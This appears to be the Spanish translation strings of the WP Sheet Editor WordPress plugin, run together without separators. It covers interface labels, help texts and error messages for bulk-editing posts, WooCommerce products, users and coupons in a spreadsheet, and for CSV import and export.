EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. 